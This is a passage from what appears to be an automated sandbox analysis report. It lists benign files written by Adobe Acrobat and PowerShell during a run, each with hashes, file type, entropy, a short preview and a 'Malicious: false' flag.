SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7543291572487476
Encrypted:	false
SSDEEP:	3:kkFklP66lfllXlE/HT8khxJXNNX8RolJuRdxLlGB9lQRYwpDdt:kK/HT8ofdNMa8RdWBwRd
MD5:	63AB04F81FCDE1D666712783B8EE23E5
SHA1:	CEE66CECAFE56CC6AE5D6CAA863F3372BCE48F46
SHA-256:	D81FFEEFB1475E0E7B4D092390DF45102FB82A041D014B5C0E21E9841E8B9C20
SHA-512:	333917F925009C9ADD2757D5C98E12E767C2503D48F38DC0208D7A50E8036BFFE3EA4F51FC5BA300DC51F5E036B6354F1F88E2A6045FE88A541DB7EF2CC9DC67
Malicious:	false
Preview:	p...... ............g..(....................................................... ..........W.....5..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2539954282295116
Encrypted:	false
SSDEEP:	6:kKBypF9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:5TDImsLNkPlE99SNxAhUe/3
MD5:	51A3359BE755538E43E7C2C3BFAE608F
SHA1:	142B6C602846B71912CA687FAE78A58DBA40BDDF
SHA-256:	91DB1DE9DFA5346857F266EAAE0A3E2528AF1F4C6C2CF7C8A74A09E33E79C79A
SHA-512:	83A7C75D51CEF7389FDBF5D1BBA723C827888CFBD756D7903E235E052A2269EB322F1F59BAF928EB3D1F5DCD76D286C94E28304EBBBFDE11541A3069089BDE9E
Malicious:	false
Preview:	p...... ..........-.g..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7684

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7684

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.069939377684573
Encrypted:	false
SSDEEP:	24:YFuQDi3QJGm27XHZ2LSCt7aZna0TNpnayGZmmuBJvbZW4xCZqu20Z+nZO8ZMCCD/:YGAwmWXZYEtoitbRCwu20wD+JliWxao
MD5:	585C74259DDF89EEA00D4989C427E60D
SHA1:	0E672D15C2A1F04CB36B972E1F47AF8FF3C37E50
SHA-256:	C90453650D3376F4BAFDBF086E50D5973F1A9AAD38BD662CAF53331EEC062E29
SHA-512:	772DAE25E75D04B5343EAC9F84100627CDAA6D176A782FAAB038831D397913AF8EFED996442CF79F5DBF0EFC880386494671232AB00C66F4E7F8B8F63F0DF711
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1737015425000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d550de899f04b5f1cb01c3a7438d5d96","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696428962000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"cfa45c7829b86b94abc8cd788add6752","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696428962000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"2dd86d6e5f99203c47dd099f6b5e82b8","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696428955000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"3ef850c86adcfefa30feaf6c5c1404b1","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1696426848000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"955b63af1bb125ce44faeb9a35adb91d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696426848000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9850297602068427
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp5RvML4zJwtNBwtNbRZ6bRZ4oRvMLF:TVl2GL7ms6ggOVp59zutYtp6PLq
MD5:	99240269275A4E297A14726A29918E9D
SHA1:	99154D6CC4061A3C7F947D522F5314318863488A
SHA-256:	58A58EE1AE2D928737C7C148958249D75458474416AFD2D561E4E7FDDA82441E
SHA-512:	9DA0FB3DAED1A6CDA338DFF4525411D601965C8B208D4C6EE557E9E21A1C63B7204BDDFFA950A26E639CD216D197F911F77B828DBE95F798E129D3B0FFA50DF8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3388935686514796
Encrypted:	false
SSDEEP:	24:7+tEAD1RZKHs/Ds/Sp5RvMLPzJwtNBwtNbRZ6bRZWf1RZKUqLBx/XYKQvGJF7urJ:7MEGgOVp5mzutYtp6PM1qll2GL7msI
MD5:	6201759A4BFC7405F76C5E969A60A6E6
SHA1:	671B9BCFD1F7201F6BE0556174135C9586F5520F
SHA-256:	28574FA03A6D2981083BC49A1BCC68488349AFA8B511A1552CF221BAFDE2035D
SHA-512:	D9B4AA755BDE1D3568D166971EE1B595FD7B200C08E90C0813D66CA209D56ADE14642B1CF6144F056ABC8AA96A7FB785571602E2D2E0E5C62FB2EC74809B77B3
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgP8WfZRdRHG68Q2YwHjgHCioSD5Yyu:6a6TZ44ADEP8sZRdRHGyms5K
MD5:	145B5FEA9D4D131B6890115078308665
SHA1:	8B1E8FF9B7482E2D6F4DAD6A762D43DA71C9CBF6
SHA-256:	8D01FE2E22C15089211D2E6676B8BF05E549D1A036C22E7BB7D3E205CA382901
SHA-512:	F52A9F7F40F2FBB4C1F825604EEDD6754B853D41BD8FF4004DC9023659EA4E8EEAF58B222ACFAA81F4654178DEEA9E29C25D7657B665C324F4B556E140531B18
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI5b5d7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8eebCl+gww:Qw946cPbiOxDlbYnuRKhsh+
MD5:	405404CAA035028258AD31D1B9E24C67
SHA1:	2E64E2936ADABE223119D9170018F30682DE3CF9
SHA-256:	72EA3B73D20D126B8F8C6533D1F324C23C63F71BF9F73963152C292949FE0E16
SHA-512:	B50777A8A2CA6FBF65ACCCBCE11BEAB15912595A7789A11B7AF502E9D9FB3B0C0209308DE3500A97E05D08CD9D707661577145104B5D86745CB2D5A198051399
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.6./.0.1./.2.0.2.5. . .0.3.:.1.7.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4vvfq4na.1tb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4zqq3dud.eqx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-16 03-17-04-617.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.351409571320771
Encrypted:	false
SSDEEP:	384:WS2633OMQ6FFoJwvte/mO15c/QWIOBphjcuaYQgtxtmT9ZzXFAMTVsV4R0mx/yTb:bc4
MD5:	4FED1E738A353F71EABB7D5D9EC1DB30
SHA1:	23644FAF36D3318B46A6867394C98D4F09EE1846
SHA-256:	33B49B9A4CEDB4CF5A6F01EB68D0CC06E1F70A7C71046D9D874F9BB598E47675
SHA-512:	CCF2574828335183F5332E96BB16D1A0C3B2A0A479633EFA8640021AF64097241D44E82526D1C25EAA810CDD61EAC538752FAE3F57A7035172BBA98F51AB4BBD
Malicious:	false
Preview:	SessionID=3d0fe222-540a-4c79-8119-7b15b9331944.1737015424640 Timestamp=2025-01-16T03:17:04:640-0500 ThreadID=7280 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3d0fe222-540a-4c79-8119-7b15b9331944.1737015424640 Timestamp=2025-01-16T03:17:04:642-0500 ThreadID=7280 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3d0fe222-540a-4c79-8119-7b15b9331944.1737015424640 Timestamp=2025-01-16T03:17:04:642-0500 ThreadID=7280 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3d0fe222-540a-4c79-8119-7b15b9331944.1737015424640 Timestamp=2025-01-16T03:17:04:643-0500 ThreadID=7280 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3d0fe222-540a-4c79-8119-7b15b9331944.1737015424640 Timestamp=2025-01-16T03:17:04:643-0500 ThreadID=7280 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.402245216094325
Encrypted:	false
